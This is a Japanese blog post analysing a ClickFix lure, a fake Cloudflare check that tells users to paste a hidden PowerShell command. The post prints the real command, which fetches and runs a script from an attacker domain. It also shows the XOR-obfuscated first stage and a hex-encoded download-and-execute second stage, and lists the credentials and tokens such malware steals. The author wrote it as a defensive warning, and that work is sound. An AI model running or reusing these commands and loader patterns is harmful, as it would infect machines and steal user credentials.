Clipnote
ClickFix型マルウェアに遭遇した記録公開
ClickFix型マルウェアに遭遇した記録の本文を直接見る

# たった1つのコマンドで、なぜ"あらゆるサービス"に不正アクセスされ得るのか — ClickFix型マルウェアに遭遇した記録 ## 1. 遭遇 普段からよく使っているCloudflareの「人間であることを確認しています」的な画面(Turnstileなど)に見慣れていたこともあり、そのサイトで似た確認画面が出てきたときは、最初は特に疑わなかった。しかし案内されていたのは次のような手順だった。 - `Win + X` → `I`(PowerShell(管理者)を開く) - `Ctrl + V` で貼り付け - `Enter` で実行 ここで違和感が確信に変わった。**Cloudflareの人間確認は、OSのコマンドラインを開かせることは本来あり得ない。** 念のためクリップボードを確認すると、案の定、以下のコマンドがすでにコピーされていた。 ``` powershell -w h "iex(irm 'alexcsss.cfd/17fe31ccb5a81c55' -UseBasicParsing)"; exit ``` これは「外部URLからスクリプトを取得し、画面に何も表示せずその場で実行する」コマンドだ。手順通りに実行していたら、素性の分からないスクリプトを自分のPC上でそのまま走らせてしまうところだった。 これは**ClickFix**と呼ばれる攻撃手法である。偽の認証画面やエラー修正を装い、ユーザー自身の手でコマンドを実行させてマルウェアに感染させる手口だ。実行はせずに踏みとどまったが、「実際は何をしようとしていたのか」が気になり、中身を解析してみることにした。 ## 2. 分析 ### 誘導されたコマンドの構造 ``` powershell -w h "iex(irm 'alexcsss.cfd/17fe31ccb5a81c55' -UseBasicParsing)"; exit ``` - `-w h`(`-WindowStyle Hidden`): ウィンドウを非表示で起動する - `irm`(`Invoke-RestMethod`): 指定URLからスクリプトの中身を取得する - `iex`(`Invoke-Expression`): 取得した文字列をその場でコードとして実行する - `exit`: 実行後にウィンドウを閉じ、痕跡を残さない `irm` + `iex` の組み合わせは、PowerShellでリモートスクリプトを即実行する際の定番パターンであり、特別な技術ではない。 ### Stage①: XOR難読化とダミー変数 実際にこのURLへアクセスし、中身をテキストとして取得した(実行はしていない)。 ```powershell $k5fe2=2130; $r5a52=@(72,1,95,14,15,93,...); $k48dd=[Math]::Abs(-6864); $r5a52+=@(...) ... iex(-join($r5a52|%{[char]($_-bxor108)})) ``` 内容は大きく2つに分けられる。 - **`$r5a52` の数値配列**: 各数値を`108`とXORすると1文字になる。つまり本命のコードを1文字ずつ数値化して隠している - **`$k5fe2`, `$k48dd`, `$ka691` などの変数群**: 計算しているように見えるが、最後の`iex`の行では一切使われていないダミー(ノイズ) 最後の1行、`iex(-join($r5a52|%{[char]($_-bxor108)}))` がすべての本体で、配列をXOR復号→文字列に結合→即実行、を1行で行っている。XOR自体は単純な演算であり、複雑な暗号技術は使われていない。 ### Stage②: 16進数からのURL組み立て Stage①をXOR復号すると、以下のコードが出てきた。 ```powershell $m3bc1b26='687474703a2f2f...'; # 16進数文字列 $q9366=New-Object ('Net.'+'WebClient'); $pf99d=[System.Text.Encoding]::UTF8.GetString(...16進数をバイト列に変換...); iex($q9366.DownloadString($pf99d)) ``` 16進数文字列をデコードすると `http://alexcsss.cfd/17fe31ccb5a81c55?_=1` というURLが出てくる。つまりStage②は「次にアクセスすべきURLを16進数で隠しておき、それを組み立ててから`WebClient.DownloadString`でダウンロード→即`iex`実行」という、Stage①と同じ「取得して即実行」の構造を繰り返しているだけだった。 ### Stage③を追いかけて見えたこと このURLに実際にアクセスしてみたが、最初の一度だけ200 OKでコンテンツが取得できたものの、それ以降は同じURLにアクセスしても一貫して404が返ってきた。User-Agentを変えても結果は変わらなかったため、UA判定ではなく、**一度きりしか配布されない使い捨てURL**である可能性が高いと考えられる。攻撃者側のインフラが、セキュリティ研究者やサンドボックスによる追跡を避けるよう設計されていることがうかがえる。 ### 「管理者権限がないから安全」という誤解 このコマンド自体は管理者権限なしでも実行され得る。ここで「管理者権限がなければ大したことはできないのでは」と考えがちだが、実際には**現在のユーザー権限だけで盗める情報は非常に多い**。 - ブラウザに保存されたパスワード・Cookie・自動入力情報(ログイン済みセッションごと盗まれれば多要素認証も無意味になる) - ブラウザ拡張の暗号資産ウォレットや、デスクトップウォレットの設定ファイル - Discord・Telegram・Steamなどのログイントークン - クリップボードの内容、ドキュメント/デスクトップ/ダウンロードフォルダ内のファイル これらはすべてユーザー自身のプロファイルフォルダ配下にあり、管理者権限を必要としない。むしろ攻撃者側は、UAC(権限昇格の確認プロンプト)を出して被害者に気づかれることを避けるため、あえて権限昇格をしない設計にしていることが多い。 ## 3. まとめ ここまで見てきた通り、このコマンド自体は難読化されてはいるものの、使われている技術はXOR演算や16進数エンコードといった単純なものばかりで、多段構成という「型」も定型的だった。つまりこの攻撃は、特別な技術力がなくても再現できてしまう。 では、なぜ「1つのコマンド」を実行しただけで、利用している「あらゆるサービス」への不正アクセスにまで及び得るのか。答えは単純で、ブラウザという1つの入り口に、無数のサービスの鍵が集約されているからだ。 ブラウザには、各サービスにログインする際のパスワードやCookie、自動入力情報が、ユーザーのプロファイルフォルダという1箇所にまとめて保存されている。つまり攻撃者から見れば、個々のサービスを一つずつ攻略する必要はなく、**このプロファイルフォルダというたった1つの場所さえ盗み出せば、そこに保存された何十というサービスのログイン情報が芋づる式に手に入る。** しかもCookieごと盗まれれば、パスワードを知らなくても「ログイン済みの状態」をそのまま乗っ取ることができ、多要素認証すら意味を持たない。 たった1回のコピー&ペーストが引き金になり得るのは、こうした「1箇所に集約された鍵」を狙う構造があるからだ。今回は違和感に気づいて踏みとどまったが、その1手順の裏には、これだけの範囲に波及し得る仕組みが隠れていた。